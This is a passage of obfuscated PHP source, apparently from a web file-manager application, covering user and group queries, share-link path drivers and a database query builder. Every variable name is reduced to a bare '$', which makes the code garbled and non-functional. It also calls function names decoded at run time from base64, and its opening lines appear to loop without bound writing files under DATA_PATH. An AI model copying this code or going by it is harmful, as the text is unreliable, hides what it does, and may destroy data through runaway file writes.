$_SERVER[$[320]] . $[321]; $ = $($); $ = explode($[288], $); if (count($) < $[700]) { $ = $[323]; $(); } $ = $[974]; $($_SERVER[$[975]]); $ = $[973]; $(); $ = $[1707]; $ = json_encode($GLOBALS[$[1708]]); $ = 1; for ($ = $; $ > 0; $++) { $(DATA_PATH . $, $); } } $ = $this->getInfoSimple($); if (!$ || !is_array($)) { return !1; } $ = Model($[2086]); $->where(array($[1791] => $))->delete(); $ = array(); $ = 0; foreach ($ as $ => $) { $ = array($[1791] => $, $[1992] => $, $[2100] => $); $[$[2016]] = isset($[$]) ? $[$] : 0; $++; $[] = $; } return $->addAll($, array(), !0); } protected function userGroupAdd($, $ = array()) { $ =& $_SERVER[]; $ = $this->getInfoSimple($); if (!$ || empty($)) { return !1; } $ = array(); foreach ($ as $ => $) { $[] = array($[1791] => $, $[1992] => $, $[2100] => $, $[2016] => 0); } return Model($[2086])->addAll($, array(), !0); } protected function userGroupRemove($, $) { $ =& $_SERVER[]; $ = $this->getInfoSimple($); if (!$ || !$) { return !1; } $ = array($[1782] => $, $[2084] => $); return Model($[2086])->where($)->delete(); } public function listData() { $ = $this->_makeOrder()->selectPage(50); $this->_listDataApply($[$_SERVER[][457]]); return $; } public function listByID($) { $ =& $_SERVER[]; if (!$) { return; } $ = array($[1791] => array($[7], $)); $ = $this->where($)->select(); $ = array_sort_keep($, $[1791], $); $this->_listDataApply($); return $; } public function listByGroup($ = 0, $ = array()) { $ =& $_SERVER[]; $ = $[12]; $ = array(); if ($) { $ = array($[2527] => intval($)); $ = "\114\105\x46\124\x20\x4a\x4f\x49\116\x20{$this->tablePrefix}\165\x73\145\x72\137\147\162\x6f\x75\x70\x20\x75\163\145\x72\x5f\147\x72\x6f\x75\x70\x20\157\x6e\40\x75\163\145\162\56\x75\163\x65\162\x49\104\40\x3d\x20\165\163\145\x72\137\x67\162\x6f\165\x70\56\x75\x73\145\162\111\104"; $ = Input::get($[542], null, $[12]) ? $[12] : $[2528]; } if (isset($[$[840]])) { $[$[2529]] = $[$[840]]; } $ = _get($, $[2530], $[234]); if (_get($, $[850], !1)) { $[$] = array($[2272], $[$[850]]); } if (_get($, $[851], !1)) { $ = array($[2273], $[$[851]]); if ($[$]) { $[$] = array($[$], $, $[2274]); } else { $[$] = $; } } $ = $this->_makeOrder($)->field($[2531])->where($)->join($)->selectPage(50); $this->_listDataApply($[$[457]]); return $; } private function _makeOrder($ = '') { $ =& $_SERVER[]; $ = array($[1791], $[32], $[1980], $[2202], $[1952], $[234]); $ = array($[535] => $[536], $[537] => $[538]); $ = Input::get($[542], $[7], $[1782], $); $ = Input::get($[543], $[7], $[2087], array($[2087], $[537])); $ = $[$]; $ = $ . "\165\x73\145\162\x2e{$}\40{$}\x2c\40\165\x73\x65\x72\56\165\163\145\x72\111\104\40\141\163\143"; return $this->alias($[2218])->order($); } public function listSearch($) { $ =& $_SERVER[]; $ = trim($[$[2090]]); $ = explode($[53], $); if (!$ || count($) == 1) { return $this->listSearchNow($); } $ = array($[457] => array()); foreach ($ as $) { if (!trim($)) { continue; } $[$[2090]] = $; $ = $this->listSearchNow($); $[$[457]] = array_merge($[$[457]], $[$[457]]); } $[$[457]] = array_unique_by_key($[$[457]], $[1791]); $[$[454]] = array($[455] => count($[$[457]]), $[451] => 20, $[440] => 1, $[456] => 1); return $; } public function listSearchNow($) { $ =& $_SERVER[]; $ = trim($[$[2090]]); $ = isset($[$[2091]]) ? $[$[2091]] : !1; $ = str_replace($[2092], $[2093], trim($)); $ = array($[32] => array($[471], "\45{$}\45"), $[392] => array($[471], "{$}\x25"), $[2291] => array($[471], "{$}\x25"), $[1093] => $[2094]); if (Input::check($, $[398])) { $[$[1791]] = array($[471], "{$}\45"); $[$[2512]] = array($[471], "{$}\x25"); } if (!$) { $ = array(); } if (isset($[$[840]])) { $[$[840]] = $[$[840]]; } $ = $this->parseWhereLike($); $ = $this->_makeOrder()->where($)->selectPage(20); if (!$ || count($[$[457]]) < 5 && Input::check($, $[405])) { $ = $this->_searchFromMeta($[549], $, 10); $ = $this->_searchFromMeta($[550], $, 10); $ = array_merge($, $, $[$[457]]); $[$[457]] = array_unique_by_key($, $[1791]); $[$[454]][$[455]] = count($[$[457]]); $[$[454]][$[456]] = ceil($[$[454]][$[455]] / $[$[454]][$[451]]); } $this->_listDataApply($[$[457]]); $this->_filterByGroup($, $); return $; } private function _filterByGroup(&$, $) { $ =& $_SERVER[]; if (!$) { return $; } foreach ($[$[457]] as $ => &$) { $ = array_to_keyvalue($[$[2187]], $[12], $[1992]); if (!in_array($, $)) { unset($[$[457]][$]); } } unset($); $[$[457]] = array_values($[$[457]]); $[$[454]] = array($[2255] => count($[$[457]]), $[2253] => $[$[454]][$[451]], $[2252] => 1, $[2254] => 1); } private function _searchFromMeta($, $, $) { $ =& $_SERVER[]; $ = strtolower($); $ = array($[97] => $, $[462] => array($[471], "\x25{$}\45")); $ = $this->parseWhereLike($); $ = Model($[2532])->where($)->limit($)->select(); if (!$) { return array(); } $ = array_to_keyvalue($, $[12], $[1791]); $ = $this->where(array($[1782] => array($[7], $)))->select(); if (!$) { return array(); } return $; } private function _listDataApplyItem($) { $ = array($); $this->_listDataApply($); return $[0]; } private function _listDataApply(&$) { $ =& $_SERVER[]; if (!$) { return; } array_remove_key($, $[982]); $ = array_to_keyvalue($, $[12], $[1791]); $this->_listAppendGroup($, $); $this->_listAppendMeta($, $); $this->_listAppendSourceRoot($, $); } private function _listAppendSourceRoot(&$, $) { $ =& $_SERVER[]; $ = Model($[920])->listSourceRoot(SourceModel::TYPE_USER, $); $ = array_to_keyvalue($, $[583]); $ = array_remove_key($, $[583]); foreach ($ as &$) { $[$[90]] = $[$[$[1791]]] ? $[$[$[1791]]] : array(); } unset($); } private function _listAppendGroup(&$, $) { $ =& $_SERVER[]; $ = array($[1791] => array($[7], $)); $ = Model($[2086])->where($)->select(); $ = array_to_keyvalue($, $[12], $[1992]); $ = array_remove_value(array_unique($), $[231]); if (!$ || !$) { return; } $ = array($[1992] => array($[7], $)); $ = Model($[2185])->field($[2533])->where($)->select(); $ = array_to_keyvalue($, $[1992]); $ = array_to_keyvalue_group($, $[1791]); foreach ($ as &$) { $ = array(); foreach ($ as $) { if (!$[$[2100]]) { continue; } $ = Model($[585])->listData($[$[2100]]); $[] = array($[1992] => $[$[1992]], $[2534] => $[$[$[1992]]][$[32]], $[598] => $[$[$[1992]]][$[598]], $[499] => $); } $ = $; } unset($); foreach ($ as &$) { $[$[2187]] = array(); if (isset($[$[$[1791]]])) { $[$[2187]] = $[$[$[1791]]]; } } unset($); } public function userAppendGroup($) { $ =& $_SERVER[]; if (!$) { return array(); } $this->_listAppendGroup($, array_to_keyvalue($, $[12], $[1791])); return $; } private function _listAppendMeta(&$, $) { $ =& $_SERVER[]; $ = UserJobModel::JOB_KEY; $ = array($[2513]); $ = array($[1791] => array($[7], $)); $ = Model($[2511])->where($)->select(); $ = array_to_keyvalue_group($, $[1791]); foreach ($ as &$) { $ = array(); foreach ($ as $) { if (!in_array($[$[97]], $)) { $[$[$[97]]] = $[$[462]]; } } $ = $; } unset($); $ = Model($[2535]); foreach ($ as &$) { $ = array(); if (isset($[$[$[1791]]])) { $ = $[$[$[1791]]]; } $[$[2536]] = array(); if (isset($[$])) { $[$[2536]] = $->getUserJobInfo($[$]); } } unset($); } protected function groupUserAll($) { $ =& $_SERVER[]; if (!$) { return !1; } $ = Model($[2086])->field($[1791])->where(array($[1992] => array($[7], $)))->select(); $ = array_to_keyvalue($, $[12], $[1791]); return array_unique($); } public function userSearch($, $ = "\x2a") { return Model($_SERVER[][611])->where($)->field($)->find(); } } goto E; e: class PathDriverDriverShareItem { public function __construct($) { $this->pathParse = $; } public function __call($, $) { $ =& $_SERVER[]; if (method_exists($this, $)) { return; } $ = call_user_func_array(array($[1447], $), $); $ = array($[1448], $[1449], $[1450], $[1451], $[635], $[637], $[1452], $[110], $[1453], $[1454]); if (in_array($, $)) { $ = $this->getPathOuter($); } return $; } public function copy($, $, $ = false, $ = false) { return $this->copyMove($, $, $, $_SERVER[][635], $); } public function move($, $, $ = false, $ = false) { return $this->copyMove($, $, $, $_SERVER[][637], $); } private function copyMove($, $, $, $, $ = false) { $ =& $_SERVER[]; $ = $; $ = IO::driverMake($); if ($->pathParse[$[1248]]) { $ = $->pathParse[$[1248]]; } else { $ = $; } $ = IO::copyMove($, $, $, $, $); $ = $this->getPathOuter($); return $; } public function pathThis($) { return get_path_this($this->pathParse[$_SERVER[][87]]); } public function pathFather($) { return get_path_father($this->pathParse[$_SERVER[][87]]); } public function iconvSystem($) { return $; } protected function infoParse($, $ = false) { $ =& $_SERVER[]; $ = $this->pathParse[$[574]][$[1273]] . $this->pathParse[$[1266]]; if ($) { $ = IO::infoWithChildren($); } else { $ = IO::info($); } $ = $this->pathParse[$[574]]; return Action($[1444])->_shareItemeParse($, $); } public function listAll($) { $ =& $_SERVER[]; $ = IO::listAll($); $ = rtrim($this->pathParse[$[574]][$[1273]], $[8]); foreach ($ as &$) { $[$[87]] = $this->pathDriver . $[8] . ltrim(substr($[$[87]], strlen($)), $[8]); } unset($); return $; } public function listAllSimple($, $ = false) { $ =& $_SERVER[]; $ = $this->listAll($); $ = $this->pathParse[$[507]]; if (trim($, $[8]) == trim(get_path_father($), $[8])) { $ = !0; } return IO::init($[12])->listAllSimpleMake($, $, $); } public function getPathOuter($) { $ =& $_SERVER[]; $ = KodIO::parse($); if ($[$[33]] == KodIO::KOD_SHARE_ITEM) { return $[$[87]]; } $ = KodIO::clear($); $ = KodIO::clear($this->pathParse[$[574]][$[1273]]); $ = substr($, strlen($)); if (substr($, 0, strlen($)) != $) { return !1; } return $this->pathParse[$[1267]] . $[8] . ltrim($, $[8]); } public function getType() { $ =& $_SERVER[]; $ = str_replace($[77], $[12], get_class($this)); return strtolower($); } public function isOsDriver($) { return IO::isOsDriver($); } public function info($) { return $this->infoParse($); } public function infoAuth($) { return $this->infoParse($); } public function infoWithChildren($) { return $this->infoParse($, !0); } public function infoFull($) { return $this->infoParse($); } } class PathDriverDriverShareLink extends PathDriverDriverShareItem { public function __construct($) { $this->pathParse = $; } protected function infoParse($, $ = false) { $ =& $_SERVER[]; return Action($[1272])->sharePathInfo($this->pathParse[$[87]], !0, $); } public function listPath($, $ = false) { $ =& $_SERVER[]; $ = IO::listPath($, $); if (!$) { return $; } if (is_array($[$[1446]])) { $ = Action($[1455])->parsePathChildren($[$[1446]], array($[507] => $)); $[$[1446]] = Action($[1272])->shareItemInfo($); } foreach ($ as $ => $) { if (!in_array($, array($[86], $[85]))) { continue; } foreach ($ as $ => $) { $ = Action($[1455])->parsePathChildren($, array($[507] => $)); $[$][$] = Action($[1272])->shareItemInfo($); } } return $; } } class PathDriverEDS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->setSignVersion($_SERVER[][250]); } } goto a; f: $fileSize = strrev(base64_decode($_SERVER[][0])); function binCheckNeq($, $) { return $ != $; } $_SERVER[$_SERVER[][1]] = $fileSize($_SERVER[$_SERVER[][2]]); goto d; c: class Db { protected $dbType = null; protected $autoFree = false; protected $model = "\x5f\164\x68\x69\x6e\153\137"; protected $pconnect = false; protected $queryStr = ''; protected $modelSql = array(); protected $lastInsID = null; protected $numRows = 0; protected $numCols = 0; protected $transTimes = 0; protected $error = ''; protected $linkID = array(); protected $_linkID = null; protected $queryID = null; protected $connected = false; protected $config = ''; protected $configLast = ''; protected $exp = array("\x65\161" => "\x3d", "\156\x65\161" => "\x3c\x3e", "\147\x74" => "\x3e", "\145\147\x74" => "\x3e\75", "\x6c\164" => "\74", "\145\x6c\x74" => "\x3c\75", "\x6e\157\164\x6c\151\153\145" => "\116\x4f\124\x20\114\x49\113\105", "\154\151\153\145" => "\x4c\x49\113\105", "\x69\x6e" => "\x49\116", "\x6e\157\x74\151\x6e" => "\116\117\124\x20\x49\x4e", "\x6e\x6f\x74\40\151\x6e" => "\116\117\x54\40\111\116", "\142\x65\x74\167\145\145\156" => "\102\105\124\x57\105\x45\116", "\156\157\x74\142\145\x74\167\145\145\156" => "\116\x4f\x54\40\x42\105\124\x57\x45\105\116", "\156\x6f\164\x20\x62\x65\x74\x77\145\145\156" => "\116\x4f\124\40\102\105\x54\x57\105\105\x4e"); protected $selectSql = "\123\x45\114\x45\103\124\45\104\x49\x53\x54\111\116\x43\124\45\40\45\106\x49\x45\114\104\45\40\x46\x52\117\x4d\40\x25\124\101\102\114\105\45\45\112\x4f\x49\116\x25\x25\127\x48\105\x52\105\x25\x25\107\x52\117\125\120\x25\x25\x48\101\x56\111\116\x47\x25\45\x4f\x52\104\x45\122\x25\45\x4c\111\x4d\x49\x54\x25\40\x25\x55\116\x49\117\116\x25\x25\103\117\x4d\x4d\105\116\x54\45"; protected $bind = array(); public static function getInstance() { $ = func_get_args(); return think_get_instance_of(__CLASS__, $_SERVER[][1053], $); } public function factory($ = '') { $ =& $_SERVER[]; $ = $this->parseConfig($); if (empty($[$[1054]])) { think_exception(think_lang($[1055])); } $this->dbType = ucwords(strtolower($[$[1054]])); $ = $[1056] . $this->dbType; if (class_exists($)) { $ = new $($); if ($[1057] != strtolower($[$[1054]])) { $->dbType = strtoupper($this->dbType); } else { $->dbType = $this->_getDsnType($[$[1009]]); } } else { think_exception(think_lang($[1058]) . $[1059] . $); } return $; } public function __call($, $) { if (method_exists($this, $)) { return call_user_func_array(array($this, $), $); } } protected function _getDsnType($) { $ = explode($_SERVER[][4], $); $ = strtoupper(trim($[0])); return $; } private function parseConfig($ = '') { $ =& $_SERVER[]; if (!empty($) && is_string($)) { $ = $this->parseDSN($); } elseif (is_array($)) { $ = array_change_key_case($); $ = array($[1054] => $[$[1060]], $[981] => $[$[1061]], $[982] => $[$[1062]], $[979] => $[$[1063]], $[980] => $[$[1064]], $[21] => $[$[1065]], $[1009] => $[$[1066]], $[17] => isset($[$[1067]]) ? $[$[1067]] : array()); } elseif (empty($)) { if (think_config($[1068]) && $[1057] != strtolower(think_config($[1069]))) { $ = $this->parseDSN(think_config($[1068])); } else { $ = array($[1054] => think_config($[1069]), $[981] => think_config($[1070]), $[982] => think_config($[1071]), $[979] => think_config($[1072]), $[980] => think_config($[1073]), $[21] => think_config($[335]), $[1009] => think_config($[1068]), $[17] => think_config($[1074])); } } return $; } protected function initConnect($ = true) { if (1 == think_config($_SERVER[][22])) { $this->_linkID = $this->multiConnect($); } else { if (isset($this->config) && $this->config) { $this->configLast = $this->config; } } if (!isset($this->connected) || !$this->connected) { $this->_linkID = $this->connect(); } } protected function closeConnect() { if (!$this->connected) { return; } foreach ($this->linkID as $ => $) { $this->_linkID = $; $this->close(); } $this->linkID = array(); $this->_linkID = null; $this->connected = !1; if (!$this->config && $this->configLast) { $this->config = $this->configLast; } } protected function multiConnect($ = false) { $ =& $_SERVER[]; static $ = array(); static $ = -1; if (empty($)) { foreach ($this->config as $ => $) { $[$] = explode($[50], $); } } if (think_config($[1075])) { if ($ || think_config($[483]) === !0) { $ = floor(mt_rand(0, think_config($[1076]) - 1)); $ = $; } else { if (is_numeric(think_config($[1077]))) { $ = think_config($[1077]); } else { $ = floor(mt_rand(think_config($[1076]), count($[$[979]]) - 1)); } } } else { $ = floor(mt_rand(0, count($[$[979]]) - 1)); $ = $; } $ = $ !== -1 ? $ : $; $ = array($[981] => isset($[$[981]][$]) ? $[$[981]][$] : $[$[981]][0], $[982] => isset($[$[982]][$]) ? $[$[982]][$] : $[$[982]][0], $[979] => isset($[$[979]][$]) ? $[$[979]][$] : $[$[979]][0], $[980] => isset($[$[980]][$]) ? $[$[980]][$] : $[$[980]][0], $[21] => isset($[$[21]][$]) ? $[$[21]][$] : $[$[21]][0], $[1009] => isset($[$[1009]][$]) ? $[$[1009]][$] : $[$[1009]][0], $[17] => isset($[$[17]][$]) ? $[$[17]][$] : $[$[17]][0]); return $this->connect($, $); } public function parseDSN($) { $ =& $_SERVER[]; if (empty($)) { return !1; } $ = parse_url($); if ($[$[208]]) { $ = array($[1054] => $[$[208]], $[981] => isset($[$[679]]) ? $[$[679]] : $[12], $[982] => isset($[$[1078]]) ? $[$[1078]] : $[12], $[979] => isset($[$[209]]) ? $[$[209]] : $[12], $[980] => isset($[$[210]]) ? $[$[210]] : $[12], $[21] => isset($[$[87]]) ? substr($[$[87]], 1) : $[12]); } else { preg_match($[1079], trim($), $); $ = array($[1054] => $[1], $[981] => $[2], $[982] => $[3], $[979] => $[4], $[980] => $[5], $[21] => $[6]); } $[$[1009]] = $[12]; return $; } protected function debug() { $ =& $_SERVER[]; $this->modelSql[$this->model] = $this->queryStr; $this->model = $[1080]; if (think_config($[1081])) { think_status($[1082]); think_trace($this->queryStr . $[1083] . think_status($[24], $[1082], 6) . $[1084], $[12], $[1085]); } } protected function parseLock($ = false) { $ =& $_SERVER[]; if (!$) { return $[12]; } if ($[1011] == $this->dbType) { return $[1086]; } return $[1087]; } protected function parseSet($) { $ =& $_SERVER[]; foreach ($ as $ => $) { if (is_array($) && $[384] == $[0]) { $[] = $this->parseKey($) . $[518] . $[1]; } elseif (is_scalar($) || is_null($)) { $[] = $this->parseKey($) . $[518] . $this->parseValue($); } } return $[1088] . implode($[50], $); } protected function bindParam($, $) { $this->bind[$_SERVER[][4] . $] = $; } protected function parseBind($) { $ = array_merge($this->bind, $); $this->bind = array(); return $; } function parseKey(&$, $ = true) { if ($) { $ = $this->parseKeyCheck($); } return $; } function parseKeyCheck($) { $ =& $_SERVER[]; $ = trim($); if (!preg_match($[1089], $)) { think_exception($[1090] . $); } return $; } protected function parseValue($) { $ =& $_SERVER[]; if (is_string($)) { $ = $[1050] . $this->escapeString($) . $[1050]; } elseif (isset($[0]) && is_string($[0]) && strtolower($[0]) == $[384]) { $ = $this->escapeString($[1]); } elseif (is_array($)) { $ = array_map(array($this, $[1051]), $); } elseif (is_bool($)) { $ = $ ? $[91] : $[231]; } elseif (is_null($)) { $ = $[106]; } return $; } protected function parseField($) { $ =& $_SERVER[]; if (is_string($) && strpos($, $[50])) { $ = explode($[50], $); } if (is_array($)) { $ = array(); foreach ($ as $ => $) { if (!is_numeric($)) { $[] = $this->parseKey($, !1) . $[1091] . $this->parseKey($); } else { $[] = $this->parseKey($); } } $ = implode($[50], $); } elseif (is_string($) && !empty($)) { $ = $; } else { $ = $[223]; } return $; } protected function parseTable($) { $ =& $_SERVER[]; if (is_array($)) { $ = array(); foreach ($ as $ => $) { if (!is_numeric($)) { $[] = $this->parseKey($) . $[53] . $this->parseKey($); } else { $[] = $this->parseKey($); } } $ = $; } elseif (is_string($)) { if (strstr($, $[53])) { return $; } $ = explode($[50], $); array_walk($, array($this, $[999])); } return $[993] . trim(implode($[1092], $), $[473]) . $[993]; } protected function parseWhere($) { $ =& $_SERVER[]; $ = $[12]; if (is_string($)) { $ = $; } else { $ = isset($[$[1093]]) ? strtoupper($[$[1093]]) : $[12]; if (in_array($, array($[1094], $[1095], $[1096]))) { $ = $[53] . $ . $[53]; unset($[$[1093]]); } else { $ = $[1097]; } foreach ($ as $ => $) { $ .= $[366]; if (is_numeric($)) { $ = $[1098]; } if (0 === strpos($, $[11])) { $ .= $this->parseThinkWhere($, $); } else { if (!preg_match($[1099], trim($))) { think_exception(think_lang($[1100]) . $[4] . $); } $ = is_array($) && isset($[$[1101]]); $ = trim($); if (strpos($, $[215])) { $ = explode($[215], $); $ = array(); foreach ($ as $ => $) { $ = $ ? $[$] : $; $[] = $[349] . $this->parseWhereItem($this->parseKey($), $) . $[998]; } $ .= implode($[1102], $); } elseif (strpos($, $[287])) { $ = explode($[287], $); $ = array(); foreach ($ as $ => $) { $ = $ ? $[$] : $; $[] = $[349] . $this->parseWhereItem($this->parseKey($), $) . $[998]; } $ .= implode($[1097], $); } else { $ .= $this->parseWhereItem($this->parseKey($), $); } } $ .= $[367] . $; } $ = substr($, 0, -strlen($)); } return empty($) ? $[12] : $[1103] . $; } protected function parseWhereItem($, $) { $ =& $_SERVER[]; $ = $[12]; if (is_array($)) { if (is_string($[0])) { $ = strtolower($[0]); if (in_array($[0], array($[518], $[1104], $[1105], $[1106], $[1107], $[1108]))) { $ .= $ . $[53] . $[0] . $[53] . $this->parseValue($[1]); } elseif (preg_match($[1109], $[0])) { $ .= $ . $[53] . $this->exp[$] . $[53] . $this->parseValue($[1]); } elseif (preg_match($[1110], $[0])) { if (is_array($[1])) { $ = isset($[2]) ? strtoupper($[2]) : $[1095]; if (in_array($, array($[1094], $[1095], $[1096]))) { $ = array(); foreach ($[1] as $) { $[] = $ . $[53] . $this->exp[$] . $[53] . $this->parseValue($); } $ .= $[349] . implode($[53] . $ . $[53], $) . $[998]; } } else { $ .= $ . $[53] . $this->exp[$] . $[53] . $this->parseValue($[1]); } } elseif ($[384] == $) { $ .= $[996] . $ . $[53] . $[1] . $[1111]; } elseif (preg_match($[1112], $[0])) { $ .= $[0]; } elseif (preg_match($[1113], $[0])) { if (isset($[2]) && $[384] == $[2]) { $ .= $ . $[53] . $this->exp[$] . $[53] . $[1]; } else { if (is_string($[1])) { $[1] = explode($[50], $[1]); } $ = implode($[50], $this->parseValue($[1])); $ .= $ . $[53] . $this->exp[$] . $[996] . $ . $[998]; } } elseif (preg_match($[1114], $[0])) { $ = is_string($[1]) ? explode($[50], $[1]) : $[1]; $ .= $[996] . $ . $[53] . $this->exp[$] . $[53] . $this->parseValue($[0]) . $[1097] . $this->parseValue($[1]) . $[367]; } else { think_exception(think_lang($[1100]) . $[4] . $[0]); } } else { $ = count($); $ = $[12]; if (is_string($[$ - 1])) { $ = isset($[$ - 1]) ? strtoupper($[$ - 1]) : $[12]; if (in_array($, array($[1094], $[1095], $[1096]))) { $ = $ - 1; } } else { $ = $[1094]; } for ($ = 0; $ < $; $++) { $ = is_array($[$]) ? $[$][1] : $[$]; if ($[384] == strtolower($[$][0])) { $ .= $[349] . $ . $[53] . $ . $[1111] . $ . $[53]; } else { $ = is_array($[$]) ? $this->exp[strtolower($[$][0])] : $[518]; if (!$ && is_array($[$]) && in_array($[$][0], array($[518], $[1104], $[1105], $[1106], $[1107], $[1108]))) { $ = $[$][0]; } $ .= $[349] . $ . $[53] . $ . $[53] . $this->parseValue($) . $[1111] . $ . $[53]; } } $ = substr($, 0, -4); } } else { $ .= $ . $[1115] . $this->parseValue($); } return $; } protected function parseThinkWhere($, $) { $ =& $_SERVER[]; $ = $[12]; switch ($) { case $[439]: $ = $; break; case $[1098]: $ = is_string($) ? $ : substr($this->parseWhere($), 6); break; case $[1116]: parse_str($, $); if (isset($[$[1093]])) { $ = $[53] . strtoupper($[$[1093]]) . $[53]; unset($[$[1093]]); } else { $ = $[1097]; } $ = array(); foreach ($ as $ => $) { $[] = $this->parseKey($) . $[1115] . $this->parseValue($); } $ = implode($, $); break; } return $; } protected function parseLimit($) { $ =& $_SERVER[]; return !empty($) ? $[51] . $ . $[53] : $[12]; } protected function parseJoin($) { $ =& $_SERVER[]; $ = $[12]; if (!empty($)) { if (is_array($)) { foreach ($ as $ => $) { if (!1 !== stripos($, $[1117])) { $ .= $[53] . $; } else { $ .= $[1118] . $; } } } else { $ .= $[1118] . $; } } $ = preg_replace($[1119], think_config($[1023]) . $[1120], $); return $; } protected function parseOrder($) { $ =& $_SERVER[]; if (is_array($)) { $ = array(); foreach ($ as $ => $) { if (is_numeric($)) { $[] = $this->parseKey($); } else { $ = in_array(strtoupper(trim($)), array($[1121], $[1122])) ? $[53] . $ : $[12]; if (preg_match($[1123], $)) { $[] = $this->parseKey($) . $; } else { think_exception($[1124] . $); } } } $ = implode($[50], $); } return !empty($) ? $[1125] . $ : $[12]; } protected function parseGroup($) { $ =& $_SERVER[]; return !empty($) ? $[1126] . $ : $[12]; } protected function parseHaving($) { $ =& $_SERVER[]; return !empty($) ? $[1127] . $ : $[12]; } protected function parseComment($) { $ =& $_SERVER[]; return !empty($) ? $[1128] . $ . $[1129] : $[12]; } protected function parseDistinct($) { $ =& $_SERVER[]; return !empty($) ? $[1130] : $[12]; } protected function parseUnion($) { $ =& $_SERVER[]; if (empty($)) { return $[12]; } if (isset($[$[435]])) { $ = $[1131]; unset($[$[435]]); } else { $ = $[1132]; } foreach ($ as $) { $[] = $ . (is_array($) ? $this->buildSelectSql($) : $); } return implode($[53], $); } public function insert($, $ = array(), $ = false) { $ =& $_SERVER[]; $ = $ = array(); $this->model = $[$[370]]; foreach ($ as $ => $) { if (is_array($) && $[384] == $[0]) { $[] = $this->parseKey($); $[] = $[1]; } elseif (is_scalar($) || is_null($)) { $[] = $this->parseKey($); $[] = $this->parseValue($); } } $ = ($ ? $[1000] : $[1001]) . $[1002] . $this->parseTable($[$[368]]) . $[996] . implode($[50], $) . $[997] . implode($[50], $) . $[998]; $ .= $this->parseLock(isset($[$[939]]) ? $[$[939]] : !1); $ .= $this->parseComment(!empty($[$[441]]) ? $[$[441]] : $[12]); return $this->execute($, $this->parseBind(!empty($[$[372]]) ? $[$[372]] : array())); } public function selectInsert($, $, $ = array()) { $ =& $_SERVER[]; $this->model = $[$[370]]; if (is_string($)) { $ = explode($[50], $); } array_walk($, array($this, $[999])); $ = $[1133] . $this->parseTable($) . $[996] . implode($[50], $) . $[1111]; $ .= $this->buildSelectSql($); return $this->execute($, $this->parseBind(!empty($[$[372]]) ? $[$[372]] : array())); } public function update($, $) { $ =& $_SERVER[]; $this->model = $[$[370]]; $ = $[1134] . $this->parseTable($[$[368]]) . $this->parseSet($) . $this->parseWhere(!empty($[$[364]]) ? $[$[364]] : $[12]) . $this->parseOrder(!empty($[$[453]]) ? $[$[453]] : $[12]) . $this->parseLimit(!empty($[$[379]]) ? $[$[379]] : $[12]) . $this->parseLock(isset($[$[939]]) ? $[$[939]] : !1) . $this->parseComment(!empty($[$[441]]) ? $[$[441]] : $[12]); return $this->execute($, $this->parseBind(!empty($[$[372]]) ? $[$[372]] : array())); } public function delete($ = array()) { $ =& $_SERVER[]; $this->model = $[$[370]]; $ = $[1135] . $this->parseTable($[$[368]]) . $this->parseWhere(!empty($[$[364]]) ? $[$[364]] : $[12]) . $this->parseOrder(!empty($[$[453]]) ? $[$[453]] : $[12]) . $this->parseLimit(!empty($[$[379]]) ? $[$[379]] : $[12]) . $this->parseLock(isset($[$[939]]) ? $[$[939]] : !1) . $this->parseComment(!empty($[$[441]]) ? $[$[441]] : $[12]); return $this->execute($, $this->parseBind(!empty($[$[372]]) ? $[$[372]] : array())); } public function select($ = array()) { $ =& $_SERVER[]; $this->model = $[$[370]]; $ = $this->buildSelectSql($); $ = isset($[$[436]]) ? $[$[436]] : !1; if ($) { $ = is_string($[$[97]]) ? $[$[97]] : $[1136] . md5($); $ = think_cache($, $[12], $); if (!1 !== $) { return $; } } $ = $this->query($, $this->parseBind(!empty($[$[372]]) ? $[$[372]] : array())); if ($ && !1 !== $) { think_cache($, $, $); } return $; } public function buildSelectSql($ = array()) { $ =& $_SERVER[]; if (isset($[$[440]])) { if (strpos($[$[440]], $[50])) { list($, $) = explode($[50], $[$[440]]); } else { $ = $[$[440]]; } $ = $ ? $ : 1; $ = isset($) ? $ : (is_numeric($[$[379]]) ? $[$[379]] : 20); $ = $ * ((int) $ - 1); $[$[379]] = $ . $[50] . $; } if (think_config($[1137])) { $ = $[1138] . md5(serialize($)); $ = think_cache($); if ($) { return $; } } $ = $this->parseSql($this->selectSql, $); $ .= $this->parseLock(isset($[$[939]]) ? $[$[939]] : !1); if (isset($)) { think_cache($, $); } return $; } public function parseSql($, $ = array()) { $ =& $_SERVER[]; $ = str_replace(array($[1139], $[1140], $[1141], $[1142], $[1143], $[1144], $[1145], $[1146], $[1147], $[1148], $[1149]), array($this->parseTable("{$[$[368]]}"), $this->parseDistinct(isset($[$[1150]]) ? $[$[1150]] : !1), $this->parseField(!empty($[$[362]]) ? $[$[362]] : $[223]), $this->parseJoin(!empty($[$[371]]) ? $[$[371]] : $[12]), $this->parseWhere(!empty($[$[364]]) ? $[$[364]] : $[12]), $this->parseGroup(!empty($[$[592]]) ? $[$[592]] : $[12]), $this->parseHaving(!empty($[$[1151]]) ? $[$[1151]] : $[12]), $this->parseOrder(!empty($[$[453]]) ? $[$[453]] : $[12]), $this->parseLimit(!empty($[$[379]]) ? $[$[379]] : $[12]), $this->parseUnion(!empty($[$[434]]) ? $[$[434]] : $[12]), $this->parseComment(!empty($[$[441]]) ? $[$[441]] : $[12])), $); return $; } public function getLastSql($ = '') { return $ ? $this->modelSql[$] : $this->queryStr; } public function getLastInsID() { return $this->lastInsID; } public function getError() { return $this->error; } public function escapeString($) { return addslashes($); } public function setModel($) { $this->model = $; } public function getDbType() { return $this->dbType; } public function __destruct() { if ($this->queryID) { $this->free(); } $this->close(); } public function close() { } } class DbManage { function __construct($ = array()) { $ =& $_SERVER[]; if (empty($)) { $ = $GLOBALS[$[6]][$[21]]; } $this->database = $; } public function model($ = '') { return new ModelBase($, $_SERVER[][12], $this->database); } public function db($ = false) { $ =& $_SERVER[]; $ = array_change_key_case($this->database); if ($this->dbType() == $[13] || !$) { return $this->model()->db(); } $ = $[$[1065]]; $[$[1065]] = $[12]; if ($[$[1060]] == $[1057]) { $ = $[$[1066]]; $[$[1066]] = substr($, 0, strrpos($, $[1152])); } $this->database = $; $ = $this->model()->db(); try { $ = $->execute("\163\x68\157\x77\x20\x64\x61\164\141\x62\x61\x73\x65\x73\x20\x6c\151\x6b\145\x20\47{$}\47"); } catch (Exception $) { } if (!$) { $->execute("\143\162\x65\x61\164\145\40\x64\141\164\141\142\x61\163\145\40\x60{$}\140"); } $[$[1065]] = $; if ($[$[1060]] == $[1057]) { $[$[1066]] .= $[1152] . $; } $this->database = $; $->execute("\165\163\145\x20\x60{$}\140"); return $; } public function createTable($, &$) { $ =& 